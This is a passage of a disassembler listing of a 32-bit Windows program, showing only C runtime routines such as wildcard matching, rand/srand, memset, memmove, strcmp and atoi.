		jnz	short loc_411D5D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_411D5D
		cmp	cl, 2Ah
		jz	short loc_411D44
		cmp	cl, 3Fh
		jz	short loc_411D27
		cmp	cl, 5Bh
		jz	short loc_411D2C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_411D27:				; CODE XREF: sub_411CF3+26j
		inc	[ebp+arg_4]
		jmp	short loc_411D57
; ---------------------------------------------------------------------------


loc_411D2C:				; CODE XREF: sub_411CF3+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_411D89
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_411D57
; ---------------------------------------------------------------------------


loc_411D44:				; CODE XREF: sub_411CF3+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_411E21
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_411D57:				; CODE XREF: sub_411CF3+37j
					; sub_411CF3+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_411CFD
; ---------------------------------------------------------------------------


loc_411D5D:				; CODE XREF: sub_411CF3+Ej
					; sub_411CF3+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_411D6D
		cmp	eax, 1
		jnz	short loc_411D84
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_411D5D
; ---------------------------------------------------------------------------


loc_411D6D:				; CODE XREF: sub_411CF3+6Dj
		cmp	eax, 1
		jnz	short loc_411D84
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_411D84
		cmp	byte ptr [esi],	0
		jnz	short loc_411D84
		push	1
		pop	eax
		jmp	short loc_411D86
; ---------------------------------------------------------------------------


loc_411D84:				; CODE XREF: sub_411CF3+72j
					; sub_411CF3+7Dj ...
		xor	eax, eax


loc_411D86:				; CODE XREF: sub_411CF3+8Fj
		pop	esi
		pop	ebp
		retn
sub_411CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D89	proc near		; CODE XREF: sub_411CF3+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_411DAA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_411DAA:				; CODE XREF: sub_411D89+19j
		push	ebx
		push	esi


loc_411DAC:				; CODE XREF: sub_411D89+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_411DBA
		cmp	[ebp+var_4], eax
		jnz	short loc_411E06


loc_411DBA:				; CODE XREF: sub_411D89+2Aj
		test	edi, edi
		jnz	short loc_411DFB
		cmp	bl, 2Dh
		jnz	short loc_411DEF
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_411DEF
		cmp	al, 5Dh
		jz	short loc_411DEF
		cmp	[ebp+var_4], edi
		jnz	short loc_411DEF
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_411DFB
		cmp	bl, al
		jg	short loc_411DFB
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_411DFB
; ---------------------------------------------------------------------------


loc_411DEF:				; CODE XREF: sub_411D89+38j
					; sub_411D89+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_411DFB
		push	1
		pop	edi


loc_411DFB:				; CODE XREF: sub_411D89+33j
					; sub_411D89+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_411DAC
; ---------------------------------------------------------------------------


loc_411E06:				; CODE XREF: sub_411D89+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_411E13
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_411E13:				; CODE XREF: sub_411D89+82j
		cmp	edi, eax
		jnz	short loc_411E1C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_411E1C:				; CODE XREF: sub_411D89+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_411D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E21	proc near		; CODE XREF: sub_411CF3+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_411E3D:				; CODE XREF: sub_411E21+3Aj
		cmp	[eax], bl
		jz	short loc_411E5D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_411E52
		cmp	cl, 2Ah
		jnz	short loc_411E5D
		cmp	cl, 3Fh
		jnz	short loc_411E55


loc_411E52:				; CODE XREF: sub_411E21+25j
		inc	eax
		mov	[edi], eax


loc_411E55:				; CODE XREF: sub_411E21+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_411E3D
; ---------------------------------------------------------------------------


loc_411E5D:				; CODE XREF: sub_411E21+1Ej
					; sub_411E21+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_411E68
		inc	dword ptr [esi]
		jmp	short loc_411E5D
; ---------------------------------------------------------------------------


loc_411E68:				; CODE XREF: sub_411E21+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_411E89
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_411E7A
		xor	eax, eax
		jmp	short loc_411EE9
; ---------------------------------------------------------------------------


loc_411E7A:				; CODE XREF: sub_411E21+53j
		cmp	cl, bl
		jnz	short loc_411E89
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_411E89
		push	1
		pop	eax
		jmp	short loc_411EE9
; ---------------------------------------------------------------------------


loc_411E89:				; CODE XREF: sub_411E21+4Dj
					; sub_411E21+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_411CF3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411ED3


loc_411E97:				; CODE XREF: sub_411E21+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_411E9B:				; CODE XREF: sub_411E21+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_411EB3
		cmp	cl, 5Bh
		jz	short loc_411EB3
		cmp	dl, bl
		jz	short loc_411EB3
		inc	eax
		mov	[edi], eax
		jmp	short loc_411E9B
; ---------------------------------------------------------------------------


loc_411EB3:				; CODE XREF: sub_411E21+82j
					; sub_411E21+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_411ECA
		push	eax
		push	dword ptr [esi]
		call	sub_411CF3
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_411ECF
; ---------------------------------------------------------------------------


loc_411ECA:				; CODE XREF: sub_411E21+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_411ECF:				; CODE XREF: sub_411E21+A7j
		cmp	eax, ebx
		jnz	short loc_411E97


loc_411ED3:				; CODE XREF: sub_411E21+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_411EE6
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_411EE6
		mov	[ebp+var_4], 1


loc_411EE6:				; CODE XREF: sub_411E21+B6j
					; sub_411E21+BCj
		mov	eax, [ebp+var_4]


loc_411EE9:				; CODE XREF: sub_411E21+57j
					; sub_411E21+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411E21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411EEE	proc near		; CODE XREF: sub_401000+61p
					; .nsp0:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41461C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_411F2E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_411F3B
; ---------------------------------------------------------------------------


loc_411F2E:				; CODE XREF: sub_411EEE+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414507
		pop	ecx
		pop	ecx


loc_411F3B:				; CODE XREF: sub_411EEE+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411EEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F40	proc near		; CODE XREF: sub_401000+2Ep
					; .nsp0:00401C1Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_431460, eax
		retn
sub_411F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_411F4A	proc near		; CODE XREF: .nsp0:0040117Dp
					; .nsp0:004011F1p ...
		mov	eax, dword_431460
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_431460, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_411F4A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411F70	proc near		; CODE XREF: .nsp0:00401333p
					; .nsp0:0040194Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_411FC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_411FB7
		neg	ecx
		and	ecx, 3
		jz	short loc_411F99
		sub	edx, ecx


loc_411F93:				; CODE XREF: sub_411F70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_411F93


loc_411F99:				; CODE XREF: sub_411F70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_411FB7
		rep stosd
		test	edx, edx
		jz	short loc_411FBD


loc_411FB7:				; CODE XREF: sub_411F70+18j
					; sub_411F70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_411FB7


loc_411FBD:				; CODE XREF: sub_411F70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_411FC3:				; CODE XREF: sub_411F70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_411F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FD0	proc near		; CODE XREF: .nsp0:004012DFp
					; .nsp0:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_411FF0
		cmp	edi, eax
		jb	loc_412168


loc_411FF0:				; CODE XREF: sub_411FD0+16j
		test	edi, 3
		jnz	short loc_41200C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41202C
		rep movsd
		jmp	off_412118[edx*4]
; ---------------------------------------------------------------------------


loc_41200C:				; CODE XREF: sub_411FD0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_412024
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41202C+4[eax*4]
; ---------------------------------------------------------------------------


loc_412024:				; CODE XREF: sub_411FD0+46j
		jmp	dword ptr loc_412128[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41202C:				; CODE XREF: sub_411FD0+31j
					; sub_411FD0+8Ej ...
		jmp	off_4120AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_412040
		dd offset loc_41206C
		dd offset loc_412090
; ---------------------------------------------------------------------------


loc_412040:				; DATA XREF: sub_411FD0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41202C
		rep movsd
		jmp	off_412118[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41206C:				; DATA XREF: sub_411FD0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41202C
		rep movsd
		jmp	off_412118[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_412090:				; DATA XREF: sub_411FD0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41202C
		rep movsd
		jmp	off_412118[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4120AC	dd offset loc_41210F	; DATA XREF: sub_411FD0:loc_41202Cr
		dd offset loc_4120FC
		dd offset loc_4120F4
		dd offset loc_4120EC
		dd offset loc_4120E4
		dd offset loc_4120DC
		dd offset loc_4120D4
		dd offset loc_4120CC
; ---------------------------------------------------------------------------


loc_4120CC:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4120D4:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4120DC:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4120E4:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4120EC:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4120F4:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4120FC:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41210F:				; CODE XREF: sub_411FD0:loc_41202Cj
					; DATA XREF: sub_411FD0:off_4120ACo
		jmp	off_412118[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_412118	dd offset loc_412128	; DATA XREF: sub_411FD0+35r
					; sub_411FD0+92r ...
		dd offset loc_412130
		dd offset loc_41213C
		dd offset loc_412150
; ---------------------------------------------------------------------------


loc_412128:				; CODE XREF: sub_411FD0+35j
					; sub_411FD0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_412130:				; CODE XREF: sub_411FD0+35j
					; sub_411FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41213C:				; CODE XREF: sub_411FD0+35j
					; sub_411FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_412150:				; CODE XREF: sub_411FD0+35j
					; sub_411FD0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412168:				; CODE XREF: sub_411FD0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41219C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_412190
		std
		rep movsd
		cld
		jmp	off_4122B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_412190:				; CODE XREF: sub_411FD0+1B1j
					; sub_411FD0+208j ...
		neg	ecx
		jmp	dword ptr loc_412260[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41219C:				; CODE XREF: sub_411FD0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4121B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4121B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4121B4:				; CODE XREF: sub_411FD0+1D6j
					; DATA XREF: sub_411FD0+1DDr
		jmp	off_4122B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4121C7+1
		dd offset loc_4121E8
; ---------------------------------------------------------------------------
		adc	[edx], ah
		inc	ecx


loc_4121C7:				; DATA XREF: sub_411FD0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_412190
		std
		rep movsd
		cld
		jmp	off_4122B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4121E8:				; DATA XREF: sub_411FD0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_412190
		std
		rep movsd
		cld
		jmp	off_4122B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_412190
		std
		rep movsd
		cld
		jmp	off_4122B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_412264
		dd offset loc_41226C
		dd offset loc_412274
		dd offset loc_41227C
		dd offset loc_412284
		dd offset loc_41228C
; ---------------------------------------------------------------------------
		xchg	eax, esp
		and	al, [ecx+0]


loc_412260:				; DATA XREF: sub_411FD0+1C2r
		cmpsd
		and	al, [ecx+0]


loc_412264:				; DATA XREF: sub_411FD0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41226C:				; DATA XREF: sub_411FD0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_412274:				; DATA XREF: sub_411FD0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41227C:				; DATA XREF: sub_411FD0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_412284:				; DATA XREF: sub_411FD0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41228C:				; DATA XREF: sub_411FD0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4122A7:				; CODE XREF: sub_411FD0+1C2j
		jmp	off_4122B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4122B0	dd offset loc_4122C0	; DATA XREF: sub_411FD0+1B7r
					; sub_411FD0:loc_4121B4r ...
		dd offset loc_4122C8
		dd offset loc_4122D8
		dd offset loc_4122EC
; ---------------------------------------------------------------------------


loc_4122C0:				; CODE XREF: sub_411FD0+1B7j
					; sub_411FD0:loc_4121B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4122C8:				; CODE XREF: sub_411FD0+1B7j
					; sub_411FD0:loc_4121B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4122D8:				; CODE XREF: sub_411FD0+1B7j
					; sub_411FD0:loc_4121B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4122EC:				; CODE XREF: sub_411FD0+1B7j
					; sub_411FD0:loc_4121B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_411FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412310	proc near		; CODE XREF: .nsp0:004011AEp
					; .nsp0:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41235C


loc_412320:				; CODE XREF: sub_412310+3Cj
					; sub_412310+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_412354
		or	al, al
		jz	short loc_412350
		cmp	ah, [ecx+1]
		jnz	short loc_412354
		or	ah, ah
		jz	short loc_412350
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_412354
		or	al, al
		jz	short loc_412350
		cmp	ah, [ecx+3]
		jnz	short loc_412354
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_412320
		mov	edi, edi


loc_412350:				; CODE XREF: sub_412310+18j
					; sub_412310+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412354:				; CODE XREF: sub_412310+14j
					; sub_412310+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41235C:				; CODE XREF: sub_412310+Ej
		test	edx, 1
		jz	short loc_412378
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_412354
		inc	ecx
		or	al, al
		jz	short loc_412350
		test	edx, 2
		jz	short loc_412320


loc_412378:				; CODE XREF: sub_412310+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_412354
		or	al, al
		jz	short loc_412350
		cmp	ah, [ecx+1]
		jnz	short loc_412354
		or	ah, ah
		jz	short loc_412350
		add	ecx, 2
		jmp	short loc_412320
sub_412310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4123A0	proc near		; CODE XREF: .nsp0:00401250p
					; .nsp0:004019E5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4123B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4123B9:				; CODE XREF: sub_4123A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4123A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4123D4	proc near		; CODE XREF: sub_41245F+4p
					; sub_41AA32+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4123DC:				; CODE XREF: sub_4123D4+34j
		cmp	dword_4316BC, 1
		jle	short loc_4123F4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_412403
; ---------------------------------------------------------------------------


loc_4123F4:				; CODE XREF: sub_4123D4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4314B0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_412403:				; CODE XREF: sub_4123D4+1Ej
		test	eax, eax
		jz	short loc_41240A
		inc	edi
		jmp	short loc_4123DC
; ---------------------------------------------------------------------------


loc_41240A:				; CODE XREF: sub_4123D4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41241A
		cmp	esi, 2Bh
		jnz	short loc_41241E


loc_41241A:				; CODE XREF: sub_4123D4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41241E:				; CODE XREF: sub_4123D4+44j
		xor	ebx, ebx


loc_412420:				; CODE XREF: sub_4123D4+7Bj
		cmp	dword_4316BC, 1
		jle	short loc_412435
		push	4
		push	esi
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_412440
; ---------------------------------------------------------------------------


loc_412435:				; CODE XREF: sub_4123D4+53j
		mov	eax, off_4314B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_412440:				; CODE XREF: sub_4123D4+5Fj
		test	eax, eax
		jz	short loc_412451
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_412420
; ---------------------------------------------------------------------------


loc_412451:				; CODE XREF: sub_4123D4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41245A
		neg	eax


loc_41245A:				; CODE XREF: sub_4123D4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4123D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41245F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4123D4
		pop	ecx
		retn
sub_41245F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41246A	proc near		; CODE XREF: sub_40211A+B9p
					; .nsp0:00402792p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41461C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4124A9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4124B6
; ---------------------------------------------------------------------------


loc_4124A9:				; CODE XREF: sub_41246A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_414507
		pop	ecx
		pop	ecx


loc_4124B6:				; CODE XREF: sub_41246A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41246A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4124C0	proc near		; CODE XREF: .nsp0:00402717p
					; .nsp0:00402735p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41253A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_412527


loc_4124D8:				; CODE XREF: sub_4124C0+52j
					; sub_4124C0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
